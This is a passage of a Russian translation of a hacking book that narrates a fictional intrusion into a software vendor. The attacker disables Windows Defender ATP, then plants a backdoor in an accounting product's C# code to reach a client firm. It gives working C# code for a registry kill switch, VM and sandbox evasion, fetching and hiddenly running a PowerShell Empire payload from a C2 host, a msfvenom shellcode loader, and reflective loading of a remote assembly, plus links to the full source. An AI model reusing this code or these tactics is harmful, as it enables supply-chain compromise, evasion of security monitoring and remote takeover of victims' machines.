@Ianuaria
skladchik.com
Мы подгружаем эту конфигурацию в функцию ​CreateProcess
и успешно порождаем новый интерпретатор командной строки,
содержащий удостоверение ​TrustedInstaller​!

Из этого нового окна мы можем просто изменить путь до


двоичного файла ​DiagTrack​, затем полностью остановить службу.
Мы можем сделать тоже самое для службы ​WinDefend​, чтобы также
отключить и антивирус.

Перевод
@Ianuaria
skladchik.com
Наконец-то! До свидания, Windows ATP. Это было весело!

**Совет 1** 

Хотя мы можем остановить ​WinDefend и ​DiagTrack​, служба


Sense​помечена как ​NOT_STOPPABLE​в Windows RS3.

Один из способов остановить ее - использовать ту же технику,


что и ранее - изменить ​binpath​и затем перезапустить систему.

На Windows RS2 build 14393 ни служба ​ Sense​, ни служба


DiagTrack не помечены как ​ NOT_STOPPABLE​. На деле, служба
, это означает,
DiagTrack не имеет даже статуса ​Light Protected​
что любой администратор может изменить ее ​binpath и таким
образом заблокировать Windows ATP.

Если по какой-либо причине мы не сможем вмешаться в


свойства службы, то мы всегда можем вмешаться в имена
двоичных файлов в папке “​C:\Program Files\Windows Defender
Advanced Threat Protection\​”, используя нашу
высокопривилегированную командную строку с токеном
TrustedInstaller​.

Например, при изменении имени файла ​ SenseCncProxy.exe​,


ATP не сможет отправить свою телеметрию на облачный сервис.
DiagTrack​.
Это имеет такой же эффект, как при отключении ​

**** 

Перевод
@Ianuaria
skladchik.com
**Совет 2** 

Поскольку ATP сильно зависит от облака, чтобы определять,


какое поведение является нормальным, а какое нет,
альтернативный способ избавиться от него - заблокировать
коммуникации с серверами Windows.

Если брандмауэр не управляется GPO, мы можем запушить


правила, блокирующие коммуникации со следующими URL:

Securitycenter.windows.com, winatp-gw-cus.microsoft.com,
winatpgw-eus.microsoft.com, winatp-gw-weu.microsoft.com,
winatp-gwneu.microsoft.com, us.vortex-win.data.microsoft.com,
eu.vortexwin.data.microsoft.com, psapp.microsoft.com,
psappeu.microsoft.com

**** 

Совершенствование бэкдора 

Мы переключаемся между различными учетными записями


программистов в сеансах Citrix до тех пор, пока не находим
наполненный профиль (домашняя папка наполнена персональными
документами, закладки в Firefox, история в Firefox и т.д.). Нам
больше не нужно охотиться за учетными данными.

Теперь мы ищем файлы wiki, документы, объясняющие, каким


образом организована работа разработчиков, какие инструменты
они используют для управления версиями, ветвления, тестирования
и так далее. Если вкратце, то мы ищем все то, что может помочь
нам понять структуру управления проектами в Strat Jumbo.

Мы запускаем Firefox, используя учетную запись Jack (из


группы разработчиков SNOW), и изучаем его панель с закладками,
но взгляд ни за что не цепляется. Однако, в его истории Firefox
содержится важный список с интересными ссылками:

Перевод
@Ianuaria
skladchik.com
Вместо ручного парсинга этих ссылок через веб-интерфейс,
мы извлекаем полную базу данных, хранящую эти URL, которая
находится в:
“​C:\Users\Jack\AppData\Roaming\Mozilla\Firefox\Profiles\
<Random_string>.default\places.sqlite​”.

Ее гораздо легче просмотреть, используя стандартный клиент


SQLite93 в нашей лаборатории:

Это дает нам отличное представление о наиболее


посещаемых (а следовательно, наиболее значимых) внутренних
активах Strat Jumbo. В десятке наиболее посещаемых ссылок
находится кое-что, напоминающее веб-сайт с вики
(​howto.stratjumbo.lan​). Похоже на нечто важное!

Мы подключаемся напрямую к вики, используя учетные


данные Windows Джека, затем неторопливо просматриваем сайт,
впитывая максимально возможное количество информации о
внутренних механизмах Strat Jumbo. Раздел “Для юных сквайров”

93
http://sqlitebrowser.org/

Перевод
@Ianuaria
skladchik.com
особенно полезен, поскольку он содержит исчерпывающие детали о
внутренней организации, кодовых именах проектов, практиках
программирования и потоке работ по подтверждению соответствия,
через который проходят новые внедряемые возможности перед их
отправкой клиентам.

В общих чертах подведем итоги: работа с каждым из клиентов


Strat Jumbo управляется через систему управления
взаимоотношениями с клиентами (CRM). Эта CRM работает с
клиентами через постановку задач, описывающих их потребности в
контексте бизнес-функций (особые функции учета, формы
налоговой отчетности и т.д.).

Некоторые из этих возможностей доступны в дефолтном


продукте, который поставляется клиентам. Однако, чаще всего есть
необходимость в разработке кастомных возможностей, специально
под уникальные нужды клиентов. Таким образом, один базовый
продукт разветвляется столь много раз, сколько это необходимо,
каждый раз в него внедряются различные надстройки.

Каждая из команд разработчиков в целом специализируется


на одном продукте, включая все кастомные надстройки для него.
Могут происходить переходы участников между командами, в
зависимости от рабочей нагрузки и нехватки квалификации.

Привязка проектов и кодовых имен представлена ниже.


Кажется, что наш священный Грааль можно найти под кодовым
именем проекта Baelish! Конечно, это приобретает новый смысл
теперь, по прошествии времени (​прим. переводчика: персонаж
“Игры престолов” Петир Бейлиш был “Мастером над монетой”,
занимался казной и финансовыми вопросами)​.

Перевод
@Ianuaria
skladchik.com
Программисты поделены на две основные команды: те, что
пишут код, и те, что его проверяют. Первые внедряют новые
функции и тестируют их на серверах разработки, чтобы убедиться,
что продукт работает без проблем.

Когда они помечают пакет как готовый к выпуску на продакшн,


отдельная команда импортирует новый код на свои сервера
“контроля качества” и прогоняет тесты, согласованные с клиентом.
Если все работает как задумано, они поставляют новый модуль во
время следующего обновления.

Регулярные обновления базовых функций выполняются


примерно раз в 12 месяцев по всем проектам. Кастомные функции,
однако же, обновляются по запросу клиента. В зависимости от
клиента, это может происходить раз в месяц или раз в 6 месяцев.

Чтобы отслеживать эти многочисленные форки и ответвления


программного обеспечения, Strat Jumbo установили локальный
репозиторий Gitlab, чей адрес мы также обнаружили в вики:
stratlab.stratjumbo.lan​.

Перевод
@Ianuaria
skladchik.com
Это одновременно и удача, и несчастье, в зависимости от
того, под каким углом посмотреть. С одной стороны, мы можем
легко установить местонахождение ветви, выделенной для G&S
Trust, и таким образом ограничить наш бэкдор одной целью - лишь
этой конкретной компанией.

С другой стороны, каждое изменение, которое мы внесем в


код, будет записано в базу данных:

Конечно, мы можем потратить еще пару часов и углубиться в


этот сервер с Gitlab в поисках уязвимостей, паролей
привилегированных пользователей, доступа к базе данных и прочих
клевых вещей, чтобы затереть следы нашей активности, но вряд ли
можно назвать это целесообразным занятием, если подумать об
этом в более широкой перспективе.

Не важно, насколько сильно мы изменим логи активности,


факт в том, что при изменениях в графике обновлений бэкдор
может оказаться зажат между двумя версиями: чистой и
подпорченной, если дать справедливую оценку первому появлению
бэкдора в коде.

Перевод
@Ianuaria
skladchik.com
Мы могли бы задним числом полностью отключить
логирование или подделать логи активности, но это приведет
скорее к серьезному расследованию, чем задержит его.

Гораздо более выгодно позаботиться о качестве кода бэкдора


(обеспечить, чтобы он проходил нерегрессионные тесты, выжил при
простых ручных проверках, не замедлял продукт и т.д.), чем
потратить время на поиск способа внедрения в базу данных Gitlab,
особенно при наличии ATA и QRadar.

Теперь, когда мы знаем, что Baelish - это кодовое имя проекта


Strat Accounting, мы повторно подключаемся к Citrix, используя
учетную запись Elise, поскольку она принадлежит доменной группе
Baelish и авторизована обновлять код Strat Accounting.

Как уже упоминалось ранее, Strat Jumbo держит отдельные


ветви для каждого важного клиента, который нуждается в
кастомных модулях (и платит за них). Это помогает нам ограничить
область действия нашего бэкдора до уровня G&S Trust и избежать
заражения половины планеты.

Код Strat Accounting написан по большей части на C#, что


прямо подходит под нашу область компетенции. Мы можем достать
из арсенала все надежные трюки, которые уже опробовали ранее,
от Отражения до выполнения PowerShell-команд.

Наш первый вопрос на повестке дня - это обеспечить, чтобы


бэкдор легко приводился в действие пользователем. Если спрятать
его в незаметном меню, то это повысит его скрытность, но если в
данное меню зайдет лишь какой-нибудь стажер один раз за 6
месяцев, и то, перепутав кнопки, то это не особо поможет нам.

Недавно, например, плагин Экспорт, судя по всему, получил


хорошую порцию внимания от различных программистов. Учитывая

Перевод
@Ianuaria
skladchik.com
регулярную активность, мы могли бы легко закинуть тайком наш код
в него, оставаясь незамеченными. Возможно, куда-то на этапе
инициализации GUI, к примеру, чтобы бэкдор пришел в действие
сразу же, как только пользователь загружает меню в первый раз:

Это, конечно, означает, что каждый раз, когда бухгалтер будет


запускать Strat Accounting и загружать меню экспорта в первый раз,
мы будем получать новый шелл, отзванивающий домой.

Хотя я люблю шеллы так же сильно, как и любой другой хакер,


подобное поведение может быстро выйти из-под контроля. Что
произойдет, когда мы завершим работу? Что если мы найдем более
скрытные способы получения устойчивости после того, как попадем
внутрь сетей G&S Trust? Что если мы передумаем и попросту
отменим всю операцию?

Не важно, какие могут быть причины, но нам нужно найти


способ контролировать подобное маячковое поведение и отключить
его, если нам это понадобится. Следующий порядок действий
предназначен для решения этой сложной ситуации.

Когда бэкдор будет выполняться на отдельно взятой машине


впервые, он будет сначала проверять определенный ключ реестра,
который находится в “​
HKLM\Software\Microsoft\UEV\Agent​”.

Если будет обнаружено рандомное значение, которое мы


выбрали заранее, допустим, “Version”, то бэкдор будет прекращать
свою работу, и будет продолжен стандартный поток выполнения.
Если ключ реестра будет отсутствовать, то бэкдор будет
активироваться и отзванивать обратно домой.

Перевод
@Ianuaria
skladchik.com
Когда/если мы захотим завершить работу бэкдора, нам нужно
лишь создать этот ключ реестра и таким образом предотвратить
последующие запуски.

**Примечание** 

Сниппеты кода, перечисленные ниже, содержат настоящие


комментарии, чтобы помочь вам повторить процесс. Реальный
бэкдор обычно содержит фиктивные комментарии, чтобы ввести в
заблуждение аналитиков кода, а также мертвый код, который ничего
не делает, но еще больше запутывает след.

**** 

// Легитимный код, показанный ранее 


[...]

// Начало кода бэкдора 


// Если нет ключа реестра, перейти к бэкдору 
if (Valid_launch())
Custom_shape_ui();

// Продолжение легитимного кода 


[...]
 
// Далее в коде. Определяем метод Valid_launch 
 
static private bool​ Valid_launch()
{
// Получить значение ключа реестра, которого не должно существовать 
в обычной системе 
RegistryKey key =
Registry.CurrentUser.OpenSubKey(​ "Software\\Microsoft\\UEV\\Agent"​ );
if​ (key != ​null​)
{
// Если ключ “Version” не найден, вернуть true и продолжить 
выполнение бэкдора 
if​ (key.GetValue(​ "Version"​) == ​null​
)

Перевод
@Ianuaria
skladchik.com
{
return ​true​;
}
}
return ​false​;
}

Функция ​Valid_launch возвращает ​true или ​false​, в


зависимости от наличия предопределенного ключа реестра
(​Version​). Если дорога открыта (нет ключа реестра), то она
переходит к функции ​ Custom_shape_ui​, чтобы продолжить путь
выполнения бэкдора.

Вам, должно быть, любопытно, почему мы не шифруем или не


обфусцируем наш код. Безопасно ли в действительности оставлять
его в подобном открытом виде, доступным всем для чтения?

Это дельное замечание. Проблема с обфускацией и


шифрованием заключается в том, что они привлекают
человеческое внимание. Мы не сражаемся здесь с
автоматизированной SIEM, мы имеем дело с живыми людьми.

Безопасность через неясность может быть дерьмовой идеей


со стороны защищающихся, но это настоящее золото в хакерском
деле! Представьте, что вам встречается код длиной в 5000 знаков,
растянутых в одну строку, полный шестнадцатеричных символов и
подозрительных знаков. Конечно, ваш мозг автоматически
перехватит эту неожиданную ересь и потребует разбирательства.

Нормально выглядящий код, между тем, скорее всего


останется незамеченным. В Strat Accounting десятки тысяч строк
кода, ни один программист не знает все его внутренние механизмы
наизусть.

Более того, могущественная мантра программирования “​


если
работает - не трогай это”​ защищает нас от опасных изменений

Перевод
@Ianuaria
skladchik.com
со стороны программистов с дурным настроением в
послеобеденное время пятницы. Если мы в дальнейшем пометим
свой код комментарием “​важное исправление по заданию #9812301​”
или “​запрос клиента №19823124​”, так будет даже лучше.

В идеале, бэкдор должен оставаться в спячке на протяжении


стандартных тестов и проверок, выполняемых командой
разработчиков Strat Jumbo. Неожиданный скачок в нагруженности
сети, вычислительных ресурсах или - не дай бог - сбой, наверняка
выдадут нас, поэтому нам нужно быть очень скрытными и уделять
пристальное внимание качеству кода.

Мы размещаем пару программных сторожей, которые


отслеживают информацию об окружении, в котором работает
программное обеспечение. Это нужно для того, чтобы приводить
бэкдор в действие только тогда, когда он находится на старом
добром физическом ноутбуке, принадлежащем G&S Trust, так что
именно это мы будем проверять в первую очередь.

// Включаем эту директиву в начало файла 


using System;
using System.Management;

// Остальной код 
// ​[...]
 
// Проверка окружения перед запуском логики бэкдора 
if​ (Valid_environment())
Custom_shape();
static private bool​ ​Custom_shape​(){
// Предыдущий код для проверки ключа реестра 
if​ (Valid_launch())
Custom_shape_ui();
}

Какие виды проверок метод ​Valid_environment может


выполнить для определения, действительно ли он работает на

Перевод
@Ianuaria
skladchik.com
компьютере G&S Trust? Ответ достаточно простой - мы сделаем
так, чтобы он спрашивал это у самого компьютера.

Почти все компании дают названия своим рабочим станциям,


устанавливая уникальные имена хостов и, в частности, включая
название компании в свойство ​Organization в общей информации
о системе. Мы можем извлечь это значение, используя реестр, и
кроме того, путем чтения класса ​Win32_OperatingSystem в Windows
Management Instrumentation (WMI). В стандартной командной строке
для этого нужно набрать следующую команду:

Однако, если использовать код на C#, нам понадобится


несколько больше строк, чтобы добиться того же результата:

static private bool​ Valid_environment()


{
ManagementObjectSearcher search = ​ new​ ManagementObjectSearcher("​
SELECT
* FROM Win32_OperatingSystem​ ");
foreach​ (ManagementObject obj ​in​ search.Get())
{
string​ name = obj[​"Organization"​ ].ToString().Trim().ToLower();
if​ (!name.StartsWith(​"gs"​
) || !name.StartsWith(​ "g&s"​
))
return false​;
}

Мы получаем объекты из класса ​Win32_OperatingSystem​,


после чего извлекаем поле ​Organization при помощи
итерированного цикла. Затем дело лишь в простом сравнении строк
и поиске верных признаков, указывающих на то, что мы на
компьютере G&S Trust. Если нет, ​Valid_Environment возвращает
булево значение ​false​, и бэкдор не запускается.

Хотя эта проверка может быть эффективной с целью


обеспечения выполнения только на машине G&S Trust, она не

Перевод
@Ianuaria
skladchik.com
учитывает все возможные сценарии. Что если Strat Jumbo имеет
доступ к машинам G&S Trust для тестирования их кода перед его
доставкой? Что если G&S Trust тестируют их код в имитационном,
замкнутом окружении перед его развертыванием? Вариантов
бесконечное множество.

Один из способов решения этих проблем - добавить пару


тестов для обеспечения того, чтобы наш код запускался только на
физических ноутбуках с Windows. Это, понятное дело, означает, что
нам нужно прокачать бэкдор, чтобы он умел обнаруживать
виртуальные окружения (VirtualBox, VMware, KVM94 и так далее).

Это актуальная тема в сообществах, интересующихся


вопросами малвари и песочниц. С одной стороны пытаются
замаскировать виртуальную машину, чтобы она вела себя и
выглядела в точности как физическая машина.

И напротив, с другой стороны пытаются разорвать фейковую


бумажную стену, пытаясь обнаружить специфические строки в
службах, процессах, ключах реестра или сравнивая циклы
выполнения CPU в поиске явных признаков виртуализации.
Основная логика, однако, практически всегда одинаковая: найти
несоответствия в ключевом физическом компоненте, которые были
упущены из виду программным обеспечением виртуализации.95

Одним из таких интересных компонентов является монитор!

Вывод производителя монитора на стандартном компьютере


даст такие имена, как Asus, Lenovo, Dell или любой другой
известный бренд.

94
KVM используется в Google Cloud, AWS, Azure и у большинства облачных провайдеров.

95
Интересный обзор техник уклонения от песочниц:
https://www.first.org/resources/papers/conf2017/Countering-Innovative-Sandbox-Evasion-Techniques
-Used-by-Malware.pdf

Перевод
@Ianuaria
skladchik.com
Однако, те же самые команды, запущенные на
виртуализированном компьютере, вернут общие выходные данные,
типа “(Стандартные типы мониторов)” или пустую строку. Это
предоставляет нам вторую проверку валидности (помимо поиска
названия компании), опять же, с использованием Windows
Management Instrumentation.

static private bool​ Valid_environment(){

// Проверка кода GSTrust 


search = ​new​ ManagementObjectSearcher(​ "SELECT * FROM Win32_DesktopMonitor"​);
foreach​ (ManagementObject obj ​ in​ search.Get())
{
string​ manu = obj[​"MonitorManufacturer"​].ToString().Trim().ToLower();

if​ (manu.Contains(​"standard"​
) || manu.Contains(​ ) || manu == ​
"types"​ "" ||
manu.Contains(​"generic"​))
return false​;
}

Такое же несоответствие наблюдается при получении имени


графической карты. На стандартной системе мы ожидаем увидеть
что-то типа Intel, ATI, NVIDIA и так далее, однако на виртуальном
сервере мы обнаружим специфические адаптеры гипервизоров
типа “VirtualBox Graphics Adapter for Windows 8+” или “Microsoft Basic
Display Adapter”.

static private bool​ Valid_environment(){


// Проверка кода GSTrust + проверка кода монитора 

search = ​new​ ManagementObjectSearcher(​


"SELECT * FROM
Win32_VideoController"​);
foreach​ (ManagementObject obj ​in ​
search.Get())
{
string​ name = obj[​"Name"​
].ToString().Trim().ToLower();

)96 || name.Contains(​
if​ (name.Contains(​"mwa"​ "ualb"​
) ||
name.Contains(​"basic"​) || name.Contains(​"adapter"​
))
return false​;
}

// Если ни одна из этих проверок не работает, Valid_environment возвращает true 

96
Чтобы избежать привлечения внимания аналитика кода, мы ищем строку “ualb” вместо
“virtualbox”. Тоже самое с “mwa”, что соответствует vmware.

Перевод
@Ianuaria
skladchik.com
return true​;
}

Опять же, дело лишь в сравнении строк.

Эти проверки не обладают 100% надежностью, напоминаю


вам. Реальные, усиленные, экспертные окружения песочниц могут
легко обходить эти проверки путем сокрытия атрибутов реестра и
информации о CPU. Но мы не собираемся дурачить реверсеров
малвари, не так ли? Наш текущий приоритет - остаться
незамеченными во время нерегрессионных тестов и проверок
качества.

С технической точки зрения, функция ​custom_shape_ui​,


выполняющая загрузку нашего бэкдора после ​Valid_environment и
Valid_launch - это несколько строк кода для обратного вызова
нашего C2-сервера и выполнения еще более массивного пейлоада,
который предоставит нам больше гибкости, а именно загрузку DLL,
регулярные маячковые действия, загрузка файлов и так далее.

Допустим, мы выберем прослушиватель ​Empire​, который


настроили в Главе 1. Мы обращаемся к модулю ​ usestager и
генерируем соответствующий пейлоад. Актуальная версия проекта
Empire по умолчанию включает подпрограммы для обхода AMSI и
логирования блоков скриптов. Разве можно не любить его?

Перевод
@Ianuaria
skladchik.com
Включение этого пейлоада в неизменном виде в исходный код
Strat Jumbo очевидно привлечет ненужное внимание. Чтобы
спрятать этот набор невнятных данных, мы разместим
base64-закодированную команду на нашем C2-сервере (имя файла
readme.txt), загрузим файл на лету из кода Strat Accounting, а затем
добавим его содержимое в качестве аргумента в исполняемый
файл PowerShell.

Код тщательно закомментирован, поэтому смело изучайте и


экспериментируйте с ним:

// [...] 
// Проверка, работаем ли на физическом лаптопе перед тем, как привести в 
действие бэкдор 
if ​(Valid_environment())
Custom_shape();

static private bool​ Custom_shape(){


// Предыдущий код, проверяющий ключ реестра 
if​ (Valid_launch())
// Запуск кода бэкдора, определенного ниже 
Custom_shape_ui()​;
}

Static private void​ ​


Custom_shape_ui()​{

string​ mystring ="";

// Использовать дефолтный прокси, зарегистрированный в системе 


System.Net.WebRequest.DefaultWebProxy.Credentials =
System.Net.CredentialCache.DefaultNetworkCredentials;

// Подготовить WebClient 
WebClient myWebClient = new WebClient();

Перевод
@Ianuaria
skladchik.com
// Блок с Try и Catch для избежания возникновения ошибок при обрыве 
соединения 
try​ {
mystring =
myWebClient.DownloadString(​ "https://reporting.stratjumbo.co.au
/readme.txt"​);
} ​catch​(WebException e){ }

// Если загрузка происходит успешно 


if​ (mystring != "") {
// Создать новый процесс Powershell 
var​ p = ​new​ System.Diagnostics.Process();
p.StartInfo.FileName = ​ "powershell.exe"​
;

// Включить наш пейлоад в качестве аргумента 


p.StartInfo.Arguments = mystring;
p.StartInfo.UseShellExecute = ​ false​;
p.StartInfo.CreateNoWindow = ​ true​;
p.Start();
}

// Окончание custom_shape_ui() 
}

Учитывая, что мы запускаем новый (скрытый) процесс


PowerShell.exe​, агент поддерживает соединение, даже если
пользователь закроет программное обеспечение Strat Accounting.
Так что, нам не нужно врываться с 20 или типа того обратных
оболочек, чтобы мигрировать в новый процесс.

Все на этом, друзья. Наша работа выполнена! Около


пятидесяти строк кода, спорадически добавленных то здесь, то там
внутри десятков тысяч строк оригинального кода должны
предоставить нам доступ в G&S Trust! Теперь это лишь вопрос
времени. Полный код доступен на Github:

https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/ps
_backdoor.cs

Перевод
@Ianuaria
skladchik.com
При том, что я являюсь горячим приверженцем проекта
PowerShell Empire​, я не хочу оставлять в стороне великолепный
Metasploit Framework97 - несмотря на то, что есть множество
руководств, книг и статей, которые представляют его как хакерский
инструмент для использования при любых обстоятельствах… Это
не так.

Допустим, мы хотим внедрить бэкдор ​Meterpreter в Strat


Accounting. Как нам это сделать?

Во-первых, мы настраиваем прослушиватель и затем


выполняем обычный процесс связывания публичного редиректора и
этого прослушивателя по SSH. Я обычно использую пейлоад
reverse_winhttps​, поскольку он автоматически учитывает
параметры корпоративного прокси, передаваемые GPO.

Далее, используя ​msfvenom​, мы генерируем шеллкод stager-а,


который будет скачивать агент ​Meterpreter и рефлективно
загружать его в память. Достаточно стандартно98, за исключением
prependmigrateprocess​, который автоматически инструктирует
Meterpreter создать и привязаться к новому процессу
Explorer.exe​, на случай если пользователь завершит работу Strat

97
​ ttps://www.metasploit.com/download
h
98
Список пейлоадов, которые мы можем сгенерировать при помощи msfvenom:

https://netsec.ws/?p=331

Перевод
@Ianuaria
skladchik.com
Accounting до того, как мы получим шанс вручную мигрировать в
другой процесс:

Для выполнения этих байтов нативного ассемблерного кода


требуются одинаковые шаги, независимо от используемого
высокоуровневого языка VBA, C#, C++, Java и так далее. Во-первых,
мы выделяем регион исполняемой памяти, затем копируем
шеллкод в него и запускаем его как новый поток выполнения.

Данная логика схожа для большинства пейлоадов ​msfvenom99,


поэтому я не буду углубляться слишком сильно, код достаточно
хорошо задокументирован, и его вариант был рассмотрен в книге
“Занимайся хакингом с ловкостью порнозвезды”:

using System.Threading.Tasks;
using System.Runtime.InteropServices;

// [...]

static private void​ Custom_shape_ui()


{
// Шеллкод msfvenom 
byte​[] var = ​new byte​[984] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,
0x50,0x30,0x8b,0x52,0x0c

// Выделение памяти при помощи флагов read write и execute 


UInt32 funcAddr = VirtualAlloc(0, (UInt32)var.Length,

99
​https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs

Перевод
@Ianuaria
skladchik.com
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// Копирование буфера в память 


Marshal.Copy(var, 0, (IntPtr)(funcAddr), var.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;

// Выполнить нативный код 


hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ​
ref
threadId);

/*  Раскомментировать  эту  строку  при  тестировании  в  независимом 


исполняемом файле. 
Если  ​prependmigrate=true  в  msfvenom,  значения  ожидания  в  5000  мс 
должно  быть  достаточно  основному  процессу  для  завершения  после 
миграции 
*/ 
//WaitForSingleObject(hThread, 5000);
}

// Определение статических переменных, используемых в выделении памяти 


private static​ UInt32 MEM_COMMIT = 0x1000;
private static​ UInt32 PAGE_EXECUTE_READWRITE = 0x40;

// Импорт функции VirtualAlloc из Kernel32.dll для выделения памяти 


[DllImport(​"kernel32"​)]
private static extern​ UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

// Импорт функции CreateThread из Kernel32.dll 


[DllImport(​"kernel32"​)]
private static extern​ IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref​ UInt32 lpThreadId
);

Перевод
@Ianuaria
skladchik.com
// Импорт функции WaitForSingleObject из Kernel32.dll 
[DllImport(​"kernel32"​)]
private static extern​ UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);

По итогу у нас одна сотня строк кода, которые не особо


понятны человеку, от длинного байтового массива, содержащего
шеллкод, до импортов ​ kernel32​, которые явно выделяются на фоне
всего остального кода Strat Accounting. Не говоря уже про то, что
любой качественный антивирус незамедлительно заспотит эту
последовательность байтов как часть пейлоада ​Meterpreter​, не
зависимо от того, как много обфускации/кодирования мы применим.

К счастью, мы можем избежать всех этих проблем при помощи


одного замечательного свойства C# - Отражения, это возможность
подгрузки сборок на лету! Мы уже использовали эту фичу для
отключения ATP и воспользуемся ею еще один раз, чтобы загрузить
эту порцию кода в память, не притрагиваясь к диску.

Чтобы использовать Отражение, нам нужно скомпилировать


предыдущий C# ​ Meterpreter stager в независимый исполняемый
файл. С этой целью мы добавляем пару стандартных операторов,
например, обертываем код в публичный класс (под названием
Program​, к примеру), добавляем функцию ​Main и определяем
пространство имен (под названием ​shellcode​). Вы сможете найти
рабочий шаблон, готовый к использованию, на странице Github этой
книги:

https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/ms
f_backdoor.cs

Перевод
@Ianuaria
skladchik.com
Компиляция этого кода в независимый исполняемый файл
.NET также проста, как вызов исполняемого файла CSC в Windows:

Обратите внимание, что у исполняемого файла


“​health-check​” отсутствует расширение “​.exe​”, чтобы избежать
вызова подозрений при жесткой вставке URL в код позже. Мы
загружаем этот файл на наш C2-сервер и скачиваем его, используя
функцию ​ Webclient DownloadData​из ​Custom_shape_ui()​:

using System.Net;
using System.Reflection;

//[...]

static private void​ Custom_shape_ui()


{

// Массив, который будет хранить нашу сборку 


byte​[] myDataBuffer = ​null​;

// Использовать дефолтный прокси, зарегистрированный в системе 


System.Net.WebRequest.DefaultWebProxy.Credentials =
System.Net.CredentialCache.DefaultNetworkCredentials;

// Стандартный объект webclient для загрузки данных 


WebClient myWebClient = new WebClient();

try ​{

Перевод
@Ianuaria
skladchik.com
myDataBuffer =
myWebClient.​DownloadData​(​"https://reporting.stratjumbo.co.au/h
ealthcheck"​ );
} ​catch​
(WebException e){ }
// Загрузить байты с C2-домена 
 
// Если загрузка успешная 
if​ (myDataBuffer!= ​ null​) {
// Рефлективно загрузить ее в память 
Assembly a = Assembly.Load(myDataBuffer)​;
}

Как только исполняемый файл окажется в байтовом массиве,


мы передаем его методу ​ load ​класса ​Assembly и вызываем метод
Main​, находящийся внутри класса ​Program (который в свою очередь
находится в пространстве имен ​ shellcode​, определенного в
независимом коде).

Type t = a.GetType(​
"shellcode.Program"​
);
MethodInfo staticMethodInfo = t.GetMethod(​
"Main"​
);

staticMethodInfo.Invoke(​ , ​
null​ null​
);
 
// Конец метода Custom_shape_ui() 
}

Дюжина строк в сумме, вместо сотни - неплохо! Более того,


если вы быстро взглянете на код, вряд ли можно заметить что-либо
подозрительное в его общем внешнем виде. Именно то, что нам
было нужно:

https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/wr
apper_assembly.cs

Готово. Вот и все, друзья! Теперь следует самая тяжелая


часть - ожидание!

Перевод
@Ianuaria
skladchik.com
Благодаря большому количеству учетных записей,
вовлеченных в проект Strat Accounting, мы можем время от времени
подключаться к репозиторию и отслеживать график обновлений
проекта. Если все будет хорошо, через какие-то три-пять недель
должны будут политься шеллы!

**Примечание** 

Повторим, что в случае с этим альтернативным бэкдором мы


начали с шеллкода, который затем включили в полноценно
функционирующий код C# для создания исполняемого файла .NET.
Но что если вы уже используете нативный исполняемый файл PE?

В идеале, нам нужно следовать той же логике, то есть


включить этот PE-файл в рабочий код C#, скомпилировать его в
исполняемый файл .NET, затем удаленно загрузить его, используя
класс ​assembly​.

Придется больше потрудиться, чтобы динамически загрузить


исполняемый файл PE из кода C# (релокация текстового сегмента,
ручной импорт функций и т.д.), но не беспокойтесь, вы можете
воспользоваться следующим скриптом от @Subtee, чтобы
облегчить процесс:

https://github.com/Arno0x/CSharpScripts/blob/master/peloader.cs

Все, что нужно будет сделать, это сконвертировать ваш


PE-файл в ​base64​-строку, скопировать и вставить ее в переменную,
затем скомпилировать всё в рабочий исполняемый файл .NET,
который вы сможете позже подгрузить при помощи Отражения.

**** 
 
 

Перевод
@Ianuaria
skladchik.com
 
 
 
 
 
Освобождение от грехов 
 
 
 
“Упал на колени и помолился 
"Да будет воля Твоя" 
Я обернулся, увидел свет, 
Дверь была широко открыта” 
 
Dream Theater 

Перевод
@Ianuaria
skladchik.com
Прошло три недели с того момента, как мы внедрили
дополнительный фрагмент кода в следующий релиз Strat
Accounting. Периодически мы открываем удаленный сеанс Citrix,
чтобы отслеживать развитие проекта, но как и в любом другом
проекте разработки, запуск нового релиза запаздывает на
несколько дней.

Несколько наших строк кода по-прежнему погребены глубоко в


оригинальном коде проекта, и хотя команды инициализации вокруг
него были несколько раз изменены, никто не удосужился изменить
наш фрагмент кода, за исключением вот этого оставленного
комментария:

// Интересно. Стоит заимствовать и включить в проект TYRION 


// для обхода проблем виртуализации Ref? 

Это так мило с их стороны!

Мы оставляем все как есть и ожидаем еще пару дней. Затем, в


одно замечательное утро понедельника, мы получаем
долгожданный сигнал из Сингапура:

Перевод
@Ianuaria
skladchik.com
Это пилотный запуск на одной единственной рабочей станции
G&S Trust, чтобы протестировать обновление перед глобальным
выпуском нового релиза? Может быть. Мы терпим еще несколько
минут и нервно ожидаем, чтобы проверить, будет ли этот первый
луч света вырезан каким-нибудь продуктом безопасности, который
заспотит маячковое поведение.

Десять минут… двадцать… проходит тридцать минут - и бам!


Шеллы начинают литься из двух других офисов - на Кипре и в
Гонконге. Пару часов спустя, к нашему восторгу, к ним
присоединяются Мальта и Сейшельские острова.

В конечном итоге, 8 компьютеров отзванивают домой за


последние несколько часов из всех офисов G&S Trust.

Пока что все идет как надо!

Перед тем, как углубиться в ряды противника, у нас есть одна


первоочередная задача: разведка! Нам нужно выяснить о наличии
любого продукта безопасности, который потенциально может быть
установлен на машинах или активно мониторит сеть. Поскольку все
подающие сигналы машины, по всей видимости, оказываются

Перевод
@Ianuaria
skladchik.com
машинами с Windows 10, мы начинаем с целевых команд для того,
чтобы сначала определить, работают ли ATA и ATP:

Великолепно! Ни одного упоминания о какой-либо глобальной


группе под именем “Microsoft Advanced Threat Analytics
Administrators”, и никакого процесса с именем “​MsSense.exe​” (ATP).
Более того, кажется, что в G&S Trust используется антивирус от
Symantec, который не поддерживает AMSI, поэтому мы сможем
исключить и его из списка.

Мы запрашиваем ключи реестра логирования блоков скриптов


и системного транскрибирования, но видим, что и они отключены:

Перевод
@Ianuaria
skladchik.com
